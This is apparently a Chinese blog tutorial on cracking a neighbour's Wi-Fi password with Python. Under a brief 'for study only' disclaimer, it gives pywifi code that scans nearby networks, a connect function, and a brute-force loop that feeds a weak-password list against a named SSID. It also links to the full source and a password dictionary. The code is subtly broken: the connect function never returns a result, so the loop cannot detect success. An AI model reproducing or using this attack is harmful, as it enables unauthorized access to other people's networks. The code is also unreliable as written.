用 Python 破解老王家的 Wi-Fi 密码,刺激!

家里没有怎么办,只要你会Python,办法总比困难多

本文就利用pywifi 这个库实验一下如何破解Wi-Fi 密码,注意,该方法仅可用来研究学习所用,不可以拿去干坏事。

1. pywifi 简介

pywifi是一个Python库,它提供了对无线网络接口的控制,允许你扫描周围的无线网络,以及连接到无线网络。但请注意,这个库并不意味着可以绕过网络安全措施来非法连接网络。

2. 环境配置

在开始之前,你需要确保Python已经安装在你的计算机上,并且安装了pywifi库。你可以使用pip命令来安装pywifi:

复制代码
pip install pywifi
pip install comtypes

3. 扫描周围的Wi-Fi网络

接下来,我们将展示如何使用pywifi来扫描周围的Wi-Fi网络。

css 复制代码
from pywifi import PyWiFi, const, Profile
import time

def scan_wifi():
    wifi = PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.scan()
    time.sleep(1)
    results = ifaces.scan_results()

    for network in results:
        print(f"SSID: {network.ssid}, 信号强度: {network.signal}")

scan_wifi()

这段代码将列出你周围所有Wi-Fi网络的SSID(网络名称)和信号强度。

4. 连接到Wi-Fi网络

把周围所有的WIFI网络扫出来后就可以逐个的去尝试连接了。

先来封装一个函数

scss 复制代码
pythonCopy codedef connect_wifi(ssid, password):
    wifi = PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    assert ifaces.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    profile = Profile()
    profile.ssid = ssid
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = password

    ifaces.remove_all_network_profiles()
    tmp_profile = ifaces.add_network_profile(profile)

    ifaces.connect(tmp_profile)
    time.sleep(2)

    if ifaces.status() == const.IFACE_CONNECTED:
        print("连接成功")
    else:
        print("连接失败")

connect_wifi('你的网络名称', '你的密码')

这段代码尝试连接到一个指定的Wi-Fi网络。请将'你的网络名称''你的密码'替换为实际的网络名称和密码。

注意在代码示例中使用sleep函数主要是为了确保在执行网络操作(如扫描或连接)之间有足够的时间让硬件和操作系统处理这些请求。sleep会暂停当前线程指定的时间(以秒为单位),这在网络编程中尤其有用,因为许多网络操作都不是立即完成的。

然后我们在网上找一个弱口令库,用穷举法进行逐个去尝试,这种方法又称为暴力破解法

python 复制代码
def try_pwd():
    print("****************** WIFI破解 ******************")
    # 密码本路径
    path = "pwd.txt"
    # 打开文件
    file = open(path, "r")
    ssid = "TP-LINK_2020"
    while True:
        try:
            pwd = file.readline()
            # 去除密码的末尾换行符
            pwd = pwd.strip('\n')
            bool = connect_wifi("TP-LINK_2020", pwd)
            if bool:
                print("[*] 密码已破解:", pwd)
                print("[*] WiFi已自动连接!!!")
                break
            else:
                # 跳出当前循环,进行下一次循环
                print(f"正在破解 SSID 为 {ssid} 的 WIFI密码,当前校验的密码为:{pwd}")
        except:
            continue

try_pwd()

运气好的情况下,几分钟就破解了,如果密码WI-FI密码设置复杂最长一两天也是可能的,特别是如果是纯数字密码,使用最短的8位数字,最多也就1亿种可能,这对于一台计算机来说不是什么难事,你睡一觉起来就跑完了。 所以,你家的WiFi密码一定不要设置太简单了,最好是多种字符组合,防止被隔壁老王破解了。

完整源代码和穷举弱口令库获取链接: mp.weixin.qq.com/s/iIFIK_GDr...

相关推荐
databook6 小时前
Manim实现闪光轨迹特效
后端·python·动效
Juchecar7 小时前
解惑:NumPy 中 ndarray.ndim 到底是什么?
python
用户8356290780517 小时前
Python 删除 Excel 工作表中的空白行列
后端·python
Json_7 小时前
使用python-fastApi框架开发一个学校宿舍管理系统-前后端分离项目
后端·python·fastapi
数据智能老司机14 小时前
精通 Python 设计模式——分布式系统模式
python·设计模式·架构
数据智能老司机15 小时前
精通 Python 设计模式——并发与异步模式
python·设计模式·编程语言
数据智能老司机15 小时前
精通 Python 设计模式——测试模式
python·设计模式·架构
数据智能老司机15 小时前
精通 Python 设计模式——性能模式
python·设计模式·架构
c8i15 小时前
drf初步梳理
python·django
每日AI新事件15 小时前
python的异步函数
python